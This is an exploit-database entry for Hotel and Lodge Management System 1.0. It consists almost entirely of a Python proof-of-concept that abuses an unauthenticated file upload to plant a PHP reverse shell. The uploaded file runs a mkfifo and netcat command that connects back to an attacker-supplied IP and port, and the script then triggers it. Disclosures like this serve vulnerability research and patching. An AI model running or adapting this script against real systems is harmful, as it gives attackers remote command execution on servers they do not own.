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## https://sploitus.com/exploit?id=PACKETSTORM:161687
# Exploit Title: Hotel and Lodge Management System 1.0 - Remote Code Execution (Unauthenticated)  
# Date: 07-03-2021  
# Exploit Author: Christian Vierschilling  
# Vendor Homepage: https://www.sourcecodester.com  
# Software Link: https://www.sourcecodester.com/php/13707/hotel-and-lodge-management-system.html  
# Version: 1.0  
# Tested on: PHP 7.4.14, Linux x64_x86  
  
# --- Description --- #  
  
# The web application allows for an unauthenticated file upload which can result in a Remote Code Execution.  
# Executing this script against a target might return a reverse php shell.  
  
# --- Proof of concept --- #  
  
#!/usr/bin/python3  
import random  
import sys  
import requests  
from requests_toolbelt.multipart.encoder import MultipartEncoder  
  
def file_upload(target_ip, attacker_ip, attacker_port):  
print("(+) Setting up reverse shell php file ..")  
random_file_name = str(random.randint(100000, 999999)) + "revshell.php"  
revshell_string = '<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f"); ?>'.format(attacker_ip, attacker_port)  
m = MultipartEncoder(fields={'image': (random_file_name, revshell_string, 'application/x-php'),'btn_update':''})  
print("(+) Trying to upload it ..")  
r1 = requests.post('http://{}/hotel/source code/profile.php'.format(target_ip), data=m, headers={'Content-Type': m.content_type})  
r2 = requests.get('http://{}/hotel/source code/uploadImage/Profile/'.format(target_ip))  
if random_file_name in r2.text:  
print("(+) File upload seems to have been successful!")  
return random_file_name  
else:  
print("(-) Oh noes, file upload failed .. quitting!")  
exit()  
  
def trigger_shell(target_ip, random_file_name):  
print("(+) Now trying to trigger our shell..")  
r3 = requests.get('http://{}/hotel/source code/uploadImage/Profile/{}'.format(target_ip, random_file_name))  
return None  
  
def main():  
if len(sys.argv) != 4:  
print('(+) usage: %s <target ip> <attacker ip> <attacker port>' % sys.argv[0])  
print('(+) eg: %s 10.0.0.1 10.13.37.10 4444' % sys.argv[0])  
sys.exit(-1)  
  
target_ip = sys.argv[1]  
attacker_ip = sys.argv[2]  
attacker_port = sys.argv[3]  
  
revshell_file_name = file_upload(target_ip, attacker_ip, attacker_port)  
trigger_shell(target_ip, revshell_file_name)  
print("\n(+) done!")  
  
if __name__ == "__main__":  
main()